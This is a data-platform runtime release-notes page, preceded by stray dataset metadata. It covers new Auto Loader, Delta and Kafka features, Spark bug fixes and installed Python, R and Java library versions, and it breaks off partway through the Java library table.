12660,
12745,
12830,
12898,
12903,
12974,
12982,
12983,
13044,
13045,
13046,
13062,
13063,
13065,
13145,
13147,
13227,
13315,
13375,
13410,
13450,
13531,
13616,
13696,
13780,
13836,
13838,
13840,
13861,
13943,
13993,
13994,
14032,
14033,
14034,
14112,
14191,
14278,
14354,
14355,
14357,
14440,
14525,
14605,
14675,
14754,
14837,
14915,
14956,
15042,
15131,
15175,
15212,
15301,
15382,
15465,
15546,
15557,
15632,
15718,
15806,
15889,
15980,
16059,
16138,
16224,
16307,
16393,
16404,
16472,
16482,
16567,
16657,
16740,
16771,
16773,
16775,
16776,
16778,
16800,
16865,
16871,
16910,
16928,
16949,
16950,
16956,
16976,
17023,
17030,
17061,
17096,
17099,
17109,
17119,
17124,
17207,
17285,
17364,
17448,
17526,
17606,
17616,
17618,
17620,
17645,
17659,
17741,
17832,
17919,
17968,
18046,
18125,
18172,
18252,
18328,
18398,
18400,
18402,
18415,
18437,
18484,
18567,
18647,
18730,
18754,
18806,
18807,
18809,
18888,
18891,
18916,
18993,
19083,
19174,
19185,
19187,
19215,
19240,
19252,
19298,
19383,
19391,
19474,
19492,
19573,
19592,
19594,
19596,
19619,
19699,
19784,
19864,
19944,
20023,
20080,
20158,
20171,
20240,
20322,
20330,
20332,
20334,
20343,
20419,
20507,
20588,
20589,
20592,
20672,
20761,
20782,
20784,
20801,
20876,
20948,
21009,
21062,
21143,
21158,
21227,
21236,
21238,
21240,
21254,
21332,
21408,
21488,
21567,
21648,
21735,
21805,
21866,
21881,
21925,
21961,
22043,
22109,
22126,
22204,
22258,
22280,
22362,
22427,
22443,
22522,
22600,
22602,
22603,
22606,
22628,
22697,
22783,
22869,
22930,
23013,
23057,
23142,
23182,
23193,
23276,
23327,
23407,
23494,
23502,
23587,
23606,
23664,
23705,
23756,
23793,
23795,
23797,
23810,
23884,
23886,
23965,
24051,
24133,
24216,
24297,
24299,
24384,
24470,
24533,
24535,
24537,
24539,
24540,
24543,
24558,
24587,
24631,
24724,
24815,
24899,
24931,
25015,
25100,
25189,
25281,
25349,
25351,
25389,
25393,
25413,
25417,
25469,
25507,
25536,
25569,
25624,
25629,
25662,
25751,
25843,
25932,
26015,
26096,
26180,
26223,
26225,
26306,
26327,
26346,
26366,
26367,
26368,
26370,
26376,
26383,
26386,
26398,
26399,
26401,
26403,
26476,
26562,
26644,
26715,
26717,
26718,
26799,
26800,
26801,
26891,
26978,
27014,
27037,
27064,
27144,
27211,
27294,
27318,
27319,
27399,
27474,
27485,
27567,
27661,
27662,
27665,
27750,
27760,
27761,
27763,
27765,
27793,
27804,
27853,
27889,
27939,
27955,
27961,
27973,
27975,
28052,
28138,
28221,
28301,
28386,
28469,
28532,
28534,
28611,
28698,
28787,
28872,
28936,
28954,
29038,
29039,
29042,
29129,
29204,
29207,
29208,
29229,
29230,
29309,
29346,
29387,
29388,
29476,
29559,
29644,
29660,
29661,
29694,
29695,
29715,
29733,
29751,
29781,
29782,
29801,
29802,
29834,
29837,
29838,
29867,
29868,
29871,
29872,
29875,
29893,
29894,
29981,
30072,
30080,
30136,
30144,
30221,
30295,
30304,
30318,
30383,
30442,
30443,
30446,
30447,
30449,
30451,
30452,
30482,
30483,
30503,
30521,
30539,
30565,
30566,
30585,
30586,
30618,
30621,
30622,
30651,
30652,
30655,
30656,
30659,
30660,
30683,
30684,
30768,
30802,
30858,
30929,
30939,
30977,
31011,
31095,
31187,
31272,
31332,
31333,
31346,
31369,
31370,
31390,
31408,
31426,
31460,
31461,
31484,
31485,
31514,
31517,
31518,
31547,
31548,
31551,
31552,
31565,
31566,
31592,
31593,
31594,
31608,
31640,
31678,
31683,
31724,
31758,
31759,
31773,
31774,
31776,
31783,
31784,
31807,
31811,
31817,
31818,
31887,
31894,
31969,
31970,
32045,
32123,
32135,
32136,
32210,
32291,
32364,
32378,
32379,
32450,
32529,
32578,
32579,
32580,
32660,
32747,
32760,
32761,
32845,
32932,
33015,
33078,
33079,
33155,
33156,
33157,
33247,
33326,
33413,
33462,
33463,
33466,
33480,
33481,
33483,
33549,
33550,
33615,
33616,
33680,
33681,
33755,
33756,
33817,
33818,
33820
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 33820,
"ccnet_original_nlines": 847,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.01327642984688282,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023075709119439125,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.9457879066467285,
"rps_doc_frac_unique_words": 0.37084758281707764,
"rps_doc_mean_word_length": 4.758203983306885,
"rps_doc_num_sentences": 154,
"rps_doc_symbol_to_word_ratio": 0.012644220143556595,
"rps_doc_unigram_entropy": 6.32664155960083,
"rps_doc_word_count": 4967,
"rps_doc_frac_chars_dupe_10grams": 0.08377760648727417,
"rps_doc_frac_chars_dupe_5grams": 0.11242277920246124,
"rps_doc_frac_chars_dupe_6grams": 0.0981636568903923,
"rps_doc_frac_chars_dupe_7grams": 0.09071675688028336,
"rps_doc_frac_chars_dupe_8grams": 0.08614707738161087,
"rps_doc_frac_chars_dupe_9grams": 0.08614707738161087,
"rps_doc_frac_chars_top_2gram": 0.004569690208882093,
"rps_doc_frac_chars_top_3gram": 0.0021579100284725428,
"rps_doc_frac_chars_top_4gram": 0.0031733899377286434,
"rps_doc_books_importance": -2752.224853515625,
"rps_doc_books_importance_length_correction": -2752.224853515625,
"rps_doc_openwebtext_importance": -1672.8035888671875,
"rps_doc_openwebtext_importance_length_correction": -1672.8035888671875,
"rps_doc_wikipedia_importance": -1144.169189453125,
"rps_doc_wikipedia_importance_length_correction": -1144.169189453125
},
"fasttext": {
"dclm": 0.4555392861366272,
"english": 0.09033448249101639,
"fineweb_edu_approx": 1.9900178909301758,
"eai_general_math": 0.45792728662490845,
"eai_open_web_math": 0.8308481574058533,
"eai_web_code": 0.6336635947227478
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "2",
"label": "Text Extraction Errors"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "3",
"label": "Incoherent Flow"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,860,174,652,895,410,000 | Databricks Runtime 9.1 LTS
The following release notes provide information about Databricks Runtime 9.1 LTS and Databricks Runtime 9.1 LTS Photon, powered by Apache Spark 3.1.2. Databricks released these images in September 2021. Photon is in Public Preview.
Note
LTS means this version is under long-term support. See Long-term support (LTS) lifecycle.
New features and improvements
Auto Loader schema hints now work with array and map types
Array and map types are supported in Override schema inference with schema hints for Auto Loader.
Examples of schema hints for arrays include:
1. arr Array<TYPE> changes the array type.
2. arr.element TYPE changes the array type (by using the element keyword).
3. arr.element.x TYPE changes a nested field type in an array of structures.
The first two examples are hints to change the type of array arr to TYPE, but they use different syntax. In the third example, arr is an array of structures with a field x. This example shows how to change the type of x to TYPE.
Examples of schema hints for maps include:
1. m Map<KEY_TYPE, VALUE_TYPE> changes map key and value types.
2. m.key TYPE changes the type of map keys.
3. m.value TYPE changes the type of map values.
4. m.key.x TYPE changes the field type in a map key.
5. m.value.x TYPE changes the field type of a map value.
The first example changes both the key and value types of map m to KEY_TYPE and VALUE_TYPE respectively. The second and third examples can be used if only the key type or only the value type needs to be changed. In the fourth and fifth examples, m is a map with key and value of structure types with a field x. This example shows how to change the type of x to TYPE.
Avro file support for merge schema
The Avro file format now supports the mergeSchema option when reading files. Setting mergeSchema to true when reading Avro files will infer a schema from a set of Avro files rather than from a single file. This improves usability by inferring a schema that may be able to read all files even if their individual schemas differ. See Configuration.
Auto Loader incremental listing support (Public Preview)
In the case of lexicographically generated files, What is Auto Loader? now leverages lexical file ordering and existing optimized APIs to make the directory listing more efficient by listing from previously-ingested files rather than by listing the entire directory. Auto Loader automatically detects whether a given directory is suitable for incremental listing by default. To control this behavior explicitly, set the new cloudFiles.useIncrementalListing option to on (true), off (false), or automatic (auto). If you set this behavior to true, you can also set the cloudFiles.backfillInterval option to schedule regular backfills over your data, to make sure all of your data is completely ingested.
Delta now supports arbitrary replaceWhere
In combination with overwrite mode, the replaceWhere option can be used to simultaneously overwrite data that matches a predicate defined in the option. Previously, replaceWhere supported a predicate only over partition columns, but it can now be an arbitrary expression. See Write to a table.
Auto Loader for Google Cloud now supports file notifications (Public Preview)
Auto Loader now supports file notification mode on Google Cloud. Set .option("cloudFiles.useNotifications", "true") to allow Auto Loader to automatically set up Google Cloud Pub/Sub resources for you. With file notification mode, new files are detected and ingested as they arrive without listing the input directory. See What is Auto Loader file notification mode?.
CREATE FUNCTION now supports creating table functions
In addition to creating a scalar function that returns a scalar value, you can now create a table function that returns a set of rows. See CREATE FUNCTION.
Kafka Streaming Source now reports estimatedTotalBytesBehindLatest metric
The Kafka streaming source now reports an estimate of how many bytes the consumer is behind the latest available byte after every batch. You can use this metric to track stream progress. See Metrics.
Example metric output:
StreamingQueryProgress {
"batchId": 0,
.....
"sources": [ {
"description" : "KafkaV2[Subscribe[topic-0]]",
"metrics":{
"avgOffsetsBehindLatest" : "1.0",
"estimatedTotalBytesBehindLatest" : "80.0", // new
"maxOffsetsBehindLatest" : "1",
"minOffsetsBehindLatest" : "1"
} ],
....
}
For structs inside of arrays, Delta MERGE INTO now resolves struct fields by name and evolves struct schemas
Delta MERGE INTO now supports resolution of struct fields by name and automatic schema evolution for arrays of structs. When automatic schema evolution is enabled by setting spark.databricks.delta.schema.autoMerge.enabled to true, UPDATE and INSERT clauses will resolve struct fields inside of an array by name, casting to the corresponding data type that is defined in the target array and filling additional or missing fields in the source or target with null values. When automatic schema evolution is disabled, UPDATE and INSERT clauses will resolve struct fields inside of an array by name but will not be able to evolve the additional fields. See Automatic schema evolution for arrays of structs.
Bug fixes
• Fixed a memory leak in the Amazon S3 connector that could happen in long running jobs or services, which was caused by JVM DeleteOnExit functionality.
Library upgrades
• Upgraded Python libraries:
• plotly from 4.14.3 to 5.1.0
• Upgraded R libraries:
• base from 4.1.0 to 4.1.1
• bslib from 0.2.5.1 to 0.3.0
• cachem from 1.0.5 to 1.0.6
• compiler from 4.1.0 to 4.1.1
• datasets from 4.1.0 to 4.1.1
• future from 1.21.0 to 1.22.1
• gert from 1.3.1 to 1.3.2
• graphics from 4.1.0 to 4.1.1
• grDevices from 4.1.0 to 4.1.1
• grid from 4.1.0 to 4.1.1
• Upgraded Java libraries:
• org.eclipse.jetty from 9.4.36.v20210114 to 9.4.42.v20210604
Apache Spark
Databricks Runtime 9.1 LTS includes Apache Spark 3.1.2. This release includes all Spark fixes and improvements included in Databricks Runtime 9.0 (Unsupported), as well as the following additional bug fixes and improvements made to Spark:
• [SPARK-36674][SQL][CHERRY-PICK] Support ILIKE - case insensitive LIKE
• [SPARK-36353][SQL][3.1] RemoveNoopOperators should keep output schema
• [SPARK-35876][SQL][3.1] ArraysZip should retain field names to avoid being re-written by analyzer/optimizer
• [SPARK-36398][SQL] Redact sensitive information in Spark Thrift Server log
• [SPARK-36498][SQL] Reorder inner fields of the input query in byName V2 write
• [SPARK-36614][CORE][UI] Correct executor loss reason caused by decommission in UI
• [SPARK-36012][SQL] Add null flag in SHOW CREATE TABLE
• [SPARK-36509][CORE] Fix the issue that executors are never re-scheduled if the worker stops with standalone cluster
• [SPARK-36603][CORE] Use WeakReference not SoftReference in LevelDB
• [SPARK-36564][CORE] Fix NullPointerException in LiveRDDDistribution.toApi
• [SPARK-36086][SQL][3.1] CollapseProject project replace alias should use origin column name
• [SPARK-33527][SQL] Extend the function of decode so as consistent with mainstream databases
• [SPARK-36400][SPARK-36398][SQL][WEBUI] Make ThriftServer recognize spark.sql.redaction.string.regex
• [SPARK-34054][CORE] BlockManagerDecommissioner code cleanup
• [SPARK-36500][CORE] Fix temp_shuffle file leaking when a task is interrupted
• [SPARK-36489][SQL] Aggregate functions over no grouping keys, on tables with a single bucket, return multiple rows
• [SPARK-36464][CORE] Fix Underlying Size Variable Initialization in ChunkedByteBufferOutputStream for Writing Over 2GB Data
• [SPARK-36339][SQL][3.0] References to grouping that not part of aggregation should be replaced
• [SPARK-36354][CORE] EventLogFileReader should skip rolling event log directories with no logs
• [SPARK-36242][CORE][3.1] Ensure spill file closed before set success = true in ExternalSorter.spillMemoryIteratorToDisk method
• [SPARK-36211][PYTHON] Correct typing of udf return value
• [SPARK-34222][SQL] Enhance boolean simplification rule
• [SPARK-35027][CORE] Close the inputStream in FileAppender when writin…
• [SPARK-36269][SQL] Fix only set data columns to Hive column names config
• [SPARK-36213][SQL] Normalize PartitionSpec for Describe Table Command with PartitionSpec
• [SPARK-36210][SQL] Preserve column insertion order in Dataset.withColumns
• [SPARK-36079][SQL] Null-based filter estimate should always be in the range [0, 1]
• [SPARK-28266][SQL] convertToLogicalRelation should not interpret path property when reading Hive tables
System environment
• Operating System: Ubuntu 20.04.4 LTS
• Java: Zulu 8.56.0.21-CA-linux64
• Scala: 2.12.10
• Python: 3.8.10
• R: 4.1.1
• Delta Lake: 1.0.0
Installed Python libraries
Library
Version
Library
Version
Library
Version
Antergos Linux
2015.10 (ISO-Rolling)
appdirs
1.4.4
backcall
0.2.0
boto3
1.16.7
botocore
1.19.7
certifi
2020.12.5
chardet
4.0.0
cycler
0.10.0
Cython
0.29.23
dbus-python
1.2.16
decorator
5.0.6
distlib
0.3.2
distro-info
0.23ubuntu1
facets-overview
1.0.0
filelock
3.0.12
idna
2.10
ipykernel
5.3.4
ipython
7.22.0
ipython-genutils
0.2.0
jedi
0.17.2
jmespath
0.10.0
joblib
1.0.1
jupyter-client
6.1.12
jupyter-core
4.7.1
kiwisolver
1.3.1
koalas
1.8.1
matplotlib
3.4.2
numpy
1.19.2
pandas
1.2.4
parso
0.7.0
patsy
0.5.1
pexpect
4.8.0
pickleshare
0.7.5
Pillow
8.2.0
pip
21.0.1
plotly
5.1.0
prompt-toolkit
3.0.17
protobuf
3.17.2
psycopg2
2.8.5
ptyprocess
0.7.0
pyarrow
4.0.0
Pygments
2.8.1
PyGObject
3.36.0
pyparsing
2.4.7
python-apt
2.0.0+ubuntu0.20.4.5
python-dateutil
2.8.1
pytz
2020.5
pyzmq
20.0.0
requests
2.25.1
requests-unixsocket
0.2.0
s3transfer
0.3.7
scikit-learn
0.24.1
scipy
1.6.2
seaborn
0.11.1
setuptools
52.0.0
six
1.15.0
ssh-import-id
5.10
statsmodels
0.12.2
tenacity
8.0.1
threadpoolctl
2.1.0
tornado
6.1
traitlets
5.0.5
unattended-upgrades
0.1
urllib3
1.25.11
virtualenv
20.4.1
wcwidth
0.2.5
wheel
0.36.2
Installed R libraries
R libraries are installed from the Microsoft CRAN snapshot on 2021-09-08.
Library
Version
Library
Version
Library
Version
askpass
1.1
assertthat
0.2.1
backports
1.2.1
base
4.1.1
base64enc
0.1-3
bit
4.0.4
bit64
4.0.5
blob
1.2.2
boot
1.3-28
brew
1.0-6
brio
1.1.2
broom
0.7.9
bslib
0.3.0
cachem
1.0.6
callr
3.7.0
caret
6.0-88
cellranger
1.1.0
chron
2.3-56
class
7.3-19
cli
3.0.1
clipr
0.7.1
cluster
2.1.2
codetools
0.2-18
colorspace
2.0-2
commonmark
1.7
compiler
4.1.1
config
0.3.1
cpp11
0.3.1
crayon
1.4.1
credentials
1.3.1
curl
4.3.2
data.table
1.14.0
datasets
4.1.1
DBI
1.1.1
dbplyr
2.1.1
desc
1.3.0
devtools
2.4.2
diffobj
0.3.4
digest
0.6.27
dplyr
1.0.7
dtplyr
1.1.0
ellipsis
0.3.2
evaluate
0.14
fansi
0.5.0
farver
2.1.0
fastmap
1.1.0
forcats
0.5.1
foreach
1.5.1
foreign
0.8-81
forge
0.2.0
fs
1.5.0
future
1.22.1
future.apply
1.8.1
gargle
1.2.0
generics
0.1.0
gert
1.3.2
ggplot2
3.3.5
gh
1.3.0
gitcreds
0.1.1
glmnet
4.1-2
globals
0.14.0
glue
1.4.2
googledrive
2.0.0
googlesheets4
1.0.0
gower
0.2.2
graphics
4.1.1
grDevices
4.1.1
grid
4.1.1
gridExtra
2.3
gsubfn
0.7
gtable
0.3.0
haven
2.4.3
highr
0.9
hms
1.1.0
htmltools
0.5.2
htmlwidgets
1.5.3
httpuv
1.6.2
httr
1.4.2
hwriter
1.3.2
hwriterPlus
1.0-3
ids
1.0.1
ini
0.3.1
ipred
0.9-11
isoband
0.2.5
iterators
1.0.13
jquerylib
0.1.4
jsonlite
1.7.2
KernSmooth
2.23-20
knitr
1.33
labeling
0.4.2
later
1.3.0
lattice
0.20-44
lava
1.6.10
lifecycle
1.0.0
listenv
0.8.0
lubridate
1.7.10
magrittr
2.0.1
markdown
1.1
MASS
7.3-54
Matrix
1.3-4
memoise
2.0.0
methods
4.1.1
mgcv
1.8-36
mime
0.11
ModelMetrics
1.2.2.2
modelr
0.1.8
munsell
0.5.0
nlme
3.1-152
nnet
7.3-16
numDeriv
2016.8-1.1
openssl
1.4.5
parallel
4.1.1
parallelly
1.27.0
pillar
1.6.2
pkgbuild
1.2.0
pkgconfig
2.0.3
pkgload
1.2.1
plogr
0.2.0
plyr
1.8.6
praise
1.0.0
prettyunits
1.1.1
pROC
1.18.0
processx
3.5.2
prodlim
2019.11.13
progress
1.2.2
progressr
0.8.0
promises
1.2.0.1
proto
1.0.0
ps
1.6.0
purrr
0.3.4
r2d3
0.2.5
R6
2.5.1
randomForest
4.6-14
rappdirs
0.3.3
rcmdcheck
1.3.3
RColorBrewer
1.1-2
Rcpp
1.0.7
readr
2.0.1
readxl
1.3.1
recipes
0.1.16
rematch
1.0.1
rematch2
2.1.2
remotes
2.4.0
reprex
2.0.1
reshape2
1.4.4
rlang
0.4.11
rmarkdown
2.10
RODBC
1.3-18
roxygen2
7.1.1
rpart
4.1-15
rprojroot
2.0.2
Rserve
1.8-8
RSQLite
2.2.8
rstudioapi
0.13
rversions
2.1.1
rvest
1.0.1
sass
0.4.0
scales
1.1.1
selectr
0.4-2
sessioninfo
1.1.1
shape
1.4.6
shiny
1.6.0
sourcetools
0.1.7
sparklyr
1.7.1
SparkR
3.1.1
spatial
7.3-11
splines
4.1.1
sqldf
0.4-11
SQUAREM
2021.1
stats
4.1.1
stats4
4.1.1
stringi
1.7.4
stringr
1.4.0
survival
3.2-13
sys
3.4
tcltk
4.1.1
TeachingDemos
2.10
testthat
3.0.4
tibble
3.1.4
tidyr
1.1.3
tidyselect
1.1.1
tidyverse
1.3.1
timeDate
3043.102
tinytex
0.33
tools
4.1.1
tzdb
0.1.2
usethis
2.0.1
utf8
1.2.2
utils
4.1.1
uuid
0.1-4
vctrs
0.3.8
viridisLite
0.4.0
vroom
1.5.4
waldo
0.3.0
whisker
0.4
withr
2.4.2
xfun
0.25
xml2
1.3.2
xopen
1.0.0
xtable
1.8-4
yaml
2.2.1
zip
2.2.0
Installed Java and Scala libraries (Scala 2.12 cluster version)
Group ID
Artifact ID
Version
antlr
antlr
2.7.7
com.amazonaws
amazon-kinesis-client
1.12.0
com.amazonaws
aws-java-sdk-autoscaling
1.11.655
com.amazonaws
aws-java-sdk-cloudformation
1.11.655
com.amazonaws
aws-java-sdk-cloudfront
1.11.655
com.amazonaws
aws-java-sdk-cloudhsm
1.11.655
com.amazonaws
aws-java-sdk-cloudsearch
1.11.655
com.amazonaws
aws-java-sdk-cloudtrail
1.11.655
com.amazonaws
aws-java-sdk-cloudwatch
1.11.655
com.amazonaws
aws-java-sdk-cloudwatchmetrics
1.11.655
com.amazonaws
aws-java-sdk-codedeploy
1.11.655
com.amazonaws
aws-java-sdk-cognitoidentity
1.11.655
com.amazonaws
aws-java-sdk-cognitosync
1.11.655
com.amazonaws
aws-java-sdk-config
1.11.655
com.amazonaws
aws-java-sdk-core
1.11.655
com.amazonaws
aws-java-sdk-datapipeline
1.11.655
com.amazonaws
aws-java-sdk-directconnect
1.11.655
com.amazonaws
aws-java-sdk-directory
1.11.655
com.amazonaws
aws-java-sdk-dynamodb
1.11.655
com.amazonaws
aws-java-sdk-ec2
1.11.655
com.amazonaws
aws-java-sdk-ecs
1.11.655
com.amazonaws
aws-java-sdk-efs
1.11.655
com.amazonaws
aws-java-sdk-elasticache
1.11.655
com.amazonaws
aws-java-sdk-elasticbeanstalk
1.11.655
com.amazonaws
aws-java-sdk-elasticloadbalancing
1.11.655
com.amazonaws
aws-java-sdk-elastictranscoder
1.11.655
com.amazonaws
aws-java-sdk-emr
1.11.655
com.amazonaws
aws-java-sdk-glacier
1.11.655
com.amazonaws
aws-java-sdk-glue
1.11.655
com.amazonaws
aws-java-sdk-iam
1.11.655
com.amazonaws
aws-java-sdk-importexport
1.11.655
com.amazonaws
aws-java-sdk-kinesis
1.11.655
com.amazonaws
aws-java-sdk-kms
1.11.655
com.amazonaws
aws-java-sdk-lambda
1.11.655
com.amazonaws
aws-java-sdk-logs
1.11.655
com.amazonaws
aws-java-sdk-machinelearning
1.11.655
com.amazonaws
aws-java-sdk-marketplacecommerceanalytics
1.11.655
com.amazonaws
aws-java-sdk-marketplacemeteringservice
1.11.655
com.amazonaws
aws-java-sdk-opsworks
1.11.655
com.amazonaws
aws-java-sdk-rds
1.11.655
com.amazonaws
aws-java-sdk-redshift
1.11.655
com.amazonaws
aws-java-sdk-route53
1.11.655
com.amazonaws
aws-java-sdk-s3
1.11.655
com.amazonaws
aws-java-sdk-ses
1.11.655
com.amazonaws
aws-java-sdk-simpledb
1.11.655
com.amazonaws
aws-java-sdk-simpleworkflow
1.11.655
com.amazonaws
aws-java-sdk-sns
1.11.655
com.amazonaws
aws-java-sdk-sqs
1.11.655
com.amazonaws
aws-java-sdk-ssm
1.11.655
com.amazonaws
aws-java-sdk-storagegateway
1.11.655
com.amazonaws
aws-java-sdk-sts
1.11.655
com.amazonaws
aws-java-sdk-support
1.11.655
com.amazonaws
aws-java-sdk-swf-libraries
1.11.22
com.amazonaws
aws-java-sdk-workspaces
1.11.655
com.amazonaws
jmespath-java
1.11.655
com.chuusai
shapeless_2.12
2.3.3
com.clearspring.analytics
stream
2.9.6
com.databricks
Rserve
1.8-3
com.databricks
jets3t
0.7.1-0
com.databricks.scalapb
compilerplugin_2.12
0.4.15-10
com.databricks.scalapb
scalapb-runtime_2.12
0.4.15-10
com.esotericsoftware
kryo-shaded
4.0.2
com.esotericsoftware
minlog
1.3.0
com.fasterxml
classmate
1.3.4
com.fasterxml.jackson.core
jackson-annotations
2.10.0
com.fasterxml.jackson.core
jackson-core
2.10.0
com.fasterxml.jackson.core
jackson-databind
2.10.0
com.fasterxml.jackson.dataformat
jackson-dataformat-cbor
2.10.0
com.fasterxml.jackson.datatype
jackson-datatype-joda
2.10.0
com.fasterxml.jackson.module
jackson-module-paranamer
2.10.0
com.fasterxml.jackson.module
jackson-module-scala_2.12
2.10.0
com.github.ben-manes.caffeine
caffeine
2.3.4
com.github.fommil
jniloader
1.1
com.github.fommil.netlib
core
1.1.2
com.github.fommil.netlib
native_ref-java
1.1
com.github.fommil.netlib
native_ref-java-natives
1.1
com.github.fommil.netlib
native_system-java
1.1
com.github.fommil.netlib
native_system-java-natives
1.1
com.github.fommil.netlib
netlib-native_ref-linux-x86_64-natives
1.1
com.github.fommil.netlib
netlib-native_system-linux-x86_64-natives
1.1
com.github.joshelser
dropwizard-metrics-hadoop-metrics2-reporter
0.1.2
com.github.luben
zstd-jni
1.4.8-1
com.github.wendykierp
JTransforms
3.1
com.google.code.findbugs
jsr305
3.0.0
com.google.code.gson
gson
2.2.4
com.google.crypto.tink
tink
1.6.0
com.google.flatbuffers
flatbuffers-java
1.9.0
com.google.guava
guava
15.0
com.google.protobuf
protobuf-java
2.6.1
com.h2database
h2
1.4.195
com.helger
profiler
1.1.1
com.jcraft
jsch
0.1.50
com.jolbox
bonecp
0.8.0.RELEASE
com.lihaoyi
sourcecode_2.12
0.1.9
com.microsoft.azure
azure-data-lake-store-sdk
2.3.9
com.microsoft.sqlserver
mssql-jdbc
9.2.1.jre8
com.ning
compress-lzf
1.0.3
com.sun.mail
javax.mail
1.5.2
com.tdunning
json
1.8
com.thoughtworks.paranamer
paranamer
2.8
com.trueaccord.lenses
lenses_2.12
0.4.12
com.twitter
chill-java
0.9.5
com.twitter
chill_2.12
0.9.5
com.twitter
util-app_2.12
7.1.0
com.twitter
util-core_2.12
7.1.0
com.twitter
util-function_2.12
7.1.0
com.twitter
util-jvm_2.12
7.1.0
com.twitter
util-lint_2.12
7.1.0
com.twitter
util-registry_2.12
7.1.0
com.twitter
util-stats_2.12
7.1.0
com.typesafe
config
1.2.1
com.typesafe.scala-logging
scala-logging_2.12
3.7.2
com.univocity
univocity-parsers
2.9.1
com.zaxxer
HikariCP
3.1.0
commons-beanutils
commons-beanutils
1.9.4
commons-cli
commons-cli
1.2
commons-codec
commons-codec
1.10
commons-collections
commons-collections
3.2.2
commons-configuration
commons-configuration
1.6
commons-dbcp
commons-dbcp
1.4
commons-digester
commons-digester
1.8
commons-fileupload
commons-fileupload
1.3.3
commons-httpclient
commons-httpclient
3.1
commons-io
commons-io
2.4
commons-lang
commons-lang
2.6
commons-logging
commons-logging
1.1.3
commons-net
commons-net
3.1
commons-pool
commons-pool
1.5.4
hive-2.3__hadoop-2.7
jets3t-0.7
liball_deps_2.12
hive-2.3__hadoop-2.7
zookeeper-3.4
liball_deps_2.12
info.ganglia.gmetric4j
gmetric4j
1.0.10
io.airlift
aircompressor
0.10
io.delta
delta-sharing-spark_2.12
0.1.0
io.dropwizard.metrics
metrics-core
4.1.1
io.dropwizard.metrics
metrics-graphite
4.1.1
io.dropwizard.metrics
metrics-healthchecks
4.1.1
io.dropwizard.metrics
metrics-jetty9
4.1.1
io.dropwizard.metrics
metrics-jmx
4.1.1
io.dropwizard.metrics
metrics-json
4.1.1
io.dropwizard.metrics
metrics-jvm
4.1.1
io.dropwizard.metrics
metrics-servlets
4.1.1
io.netty
netty-all
4.1.51.Final
io.prometheus
simpleclient
0.7.0
io.prometheus
simpleclient_common
0.7.0
io.prometheus
simpleclient_dropwizard
0.7.0
io.prometheus
simpleclient_pushgateway
0.7.0
io.prometheus
simpleclient_servlet
0.7.0
io.prometheus.jmx
collector
0.12.0
jakarta.annotation
jakarta.annotation-api
1.3.5
jakarta.validation
jakarta.validation-api
2.0.2
jakarta.ws.rs
jakarta.ws.rs-api
2.1.6
javax.activation
activation
1.1.1
javax.el
javax.el-api
2.2.4
javax.jdo
jdo-api
3.0.1
javax.servlet
javax.servlet-api
3.1.0
javax.servlet.jsp
jsp-api
2.1
javax.transaction
jta
1.1
javax.transaction
transaction-api
1.1
javax.xml.bind
jaxb-api
2.2.2
javax.xml.stream
stax-api
1.0-2
javolution
javolution
5.5.1
jline
jline
2.14.6
joda-time
joda-time
2.10.5
log4j
apache-log4j-extras
1.2.17
log4j
log4j
1.2.17
maven-trees
hive-2.3__hadoop-2.7
liball_deps_2.12
net.java.dev.jna
jna
5.8.0
net.razorvine
pyrolite
4.30
net.sf.jpam
jpam
1.1
net.sf.opencsv
opencsv
2.3
net.sf.supercsv
super-csv
2.2.0
net.snowflake
snowflake-ingest-sdk
0.9.6
net.snowflake
snowflake-jdbc
3.13.3
net.snowflake
spark-snowflake_2.12
2.9.0-spark_3.1
net.sourceforge.f2j
arpack_combined_all
0.1
org.acplt.remotetea
remotetea-oncrpc
1.1.2
org.antlr
ST4
4.0.4
org.antlr
antlr-runtime
3.5.2
org.antlr
antlr4-runtime
4.8-1
org.antlr
stringtemplate
3.2.1
org.apache.ant
ant
1.9.2
org.apache.ant
ant-jsch
1.9.2
org.apache.ant
ant-launcher
1.9.2
org.apache.arrow
arrow-format
2.0.0
org.apache.arrow
arrow-memory-core
2.0.0
org.apache.arrow
arrow-memory-netty
2.0.0
org.apache.arrow
arrow-vector
2.0.0
org.apache.avro
avro
1.8.2
org.apache.avro
avro-ipc
1.8.2
org.apache.avro
avro-mapred-hadoop2
1.8.2
org.apache.commons
commons-compress
1.20
org.apache.commons
commons-crypto
1.1.0
org.apache.commons
commons-lang3
3.10
org.apache.commons
commons-math3
3.4.1
org.apache.commons
commons-text
1.6
org.apache.curator
curator-client
2.7.1
org.apache.curator
curator-framework
2.7.1
org.apache.curator
curator-recipes
2.7.1
org.apache.derby
derby
10.12.1.1
org.apache.directory.api
api-asn1-api
1.0.0-M20
org.apache.directory.api
api-util
